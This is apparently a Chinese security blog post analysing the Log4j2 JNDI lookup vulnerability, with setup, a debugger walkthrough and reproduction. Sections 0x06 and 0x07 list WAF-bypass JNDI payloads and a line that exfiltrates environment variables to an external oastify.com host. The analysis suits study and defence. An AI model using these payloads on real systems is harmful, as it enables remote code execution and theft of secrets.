Java-Log4j2
0x01 初步认识
Log4j2 是 Apache 软件基金会推出的一款高性能、模块化、可扩展的 Java 日志框架。它是经典的 Log4j 1.x 的重大升级版本,在架构设计上进行了彻底的重构,目前在企业级 Java 应用(如 Spring Boot 微服务等)中被广泛使用
简单来说,它是帮助开发人员在程序中记录运行状态、排查问题的核心工具
0x02 基础开发
环境搭建
- jdk8u65
- Log4j2 2.14.1
- CC 3.2.1
1 | <dependency> |
Demo
主要是简单走一遍开发流程,了解一下 log4j2 有什么用
log4j2 的实现方式很多,如 xml,yaml,properties 等,这里用 xml 的方式来实现
log4j2.xml:
1 |
|
Test.java:
1 | import org.apache.logging.log4j.LogManager; |
运行效果:

实际开发
demo 是我们封装的一个行为,一般日志文件还是需要输出的
比如我从数据库获取到了一个 username 为 “G3ng4r”,我要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的
这时候就是我们的实际应用场景,跑一下看看:
1 | import org.apache.logging.log4j.LogManager; |

当然实际场景里面肯定不会是判断 null,这里作为基础学习知道开发流程就可以了
0x03 漏洞分析
影响版本
2.x <= log4j <= 2.15.0-rc1
漏洞原理
我们可以看到在 logger.info``("User {} login in!", username); 的这个地方,实际上 username 这个参数是可控的,那么这里我们可以尝试其他输入
我们将 username 修改为 "${java:os}";,再跑一下看看:

这里并不是打印出了 “Hello, $java:os”,而是打印出了我们操作系统的一些信息。这里的设计看上去就有非常大的问题,官方文档的意思是这是 log4j2 自带的一个功能

其实如果按照官网上面的那几个 api 来看,其实不太严重,最多也就是日志与我们输入对不上而已,并不是会引起大的安全漏洞,真正的问题是,这里的 lookup 实际上是基于 jndi 的,而 jndi 里面我们早在之前说过直接调用 lookup() 是会存在漏洞的
0x04 漏洞复现
在知道漏洞原理的情况下,我们可以直接写 EXP 了,就一句话:
1 | import org.apache.logging.log4j.LogManager; |
开启 JNDI 服务和目标路径服务后运行:

0x05 调试分析
下个断点在 PatternLayout 这个类下的 toSerializable() 方法,进来是一个循环,遍历 formatters 一段一段的拼接输出的内容,不是很重要,传进去两个需要进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer:

遍历至 i = 7 的时候进入到了另外的一个 format 处理方法:

继续跟进,进入 MessagePatternConverter#format():

当我们进到这个 format() 方法里面之后,先判断是否是 Log4j2 的 lookups 功能。这里我们是 lookups 功能,所以可以继续往下走:

继续往下走,会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串

workingBuilder 的内容结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload
我们看 logs 文件夹也是可以看到的,是一条条读取出来的

此时 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1099/Calc}
跟进 replace() 方法,replace() 方法里面调用了 substitute() 方法:

substitute() 的工作就是 ${} 中间的内容,也就是我们的 payload 取出来,然后又会调用 this.subtitute 来处理

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数:

resolver 解析时支持的关键词有 [date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j],而我们这里利用的 jndi:xxx 后续就会用到 JndiLookup 这个解析器
这里我们看到 resolveVariable() 方法里面是调用了 lookup() 方法

这个 lookup() 方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的 lookup() 方法的,是存在漏洞的

小结:
- 先判断内容中是否有
${},然后截取${}中的内容,得到我们的恶意 payloadjndi:xxx - 后使用
:分割 payload,通过前缀来判断使用何种解析器去lookup - 支持的前缀包括
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些
0x06 WAF 绕过
- 出发点是基于很多 WAF 检测是否存在
jndi:等关键词进行判断,下面我们讲一讲绕过手法
根据官方文档中的描述,如果参数未定义,那么 :- 后面的就是默认值,通俗的来说就是默认值

分隔符和多个 ${} 绕过
1 | logg.info("${${::-J}ndi:ldap://127.0.0.1:1099/Calc}"); |
大小写绕过
这一点,因为我们之前说允许的字段是这一些date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper
同时也可以利用 lower 和 upper 来进行 bypass 关键字
1 | logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}"); |
特殊字符的大小写转化也能利用上:
ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
1 | logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}"); |
编码绕过
由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试
像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过
1 | {"key":"\u0024\u007b"} |
0x07 payload 总结
- 原始 payload:
1 | "${jndi:ldap://127.0.0.1:1234/ExportObject}"; |
上面提到的绕过手段:
1 | ${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject}; |
奇淫技巧
刚才分析了其他解析器功效,通过 sys 和 env 协议,结合 jndi 可以读取到一些环境变量和系统变量,特定情况下可能可以读取到系统密码
1 | ${jndi:ldap://${env:LOGNAME}.1hj2a0litb8gvybwuy1m16vj8ae02p.oastify.com} |
0x08 Log4j2 2.15.0 漏洞修复与绕过
复现难度比较大,看个思路就行,感兴趣的师傅自行移步:





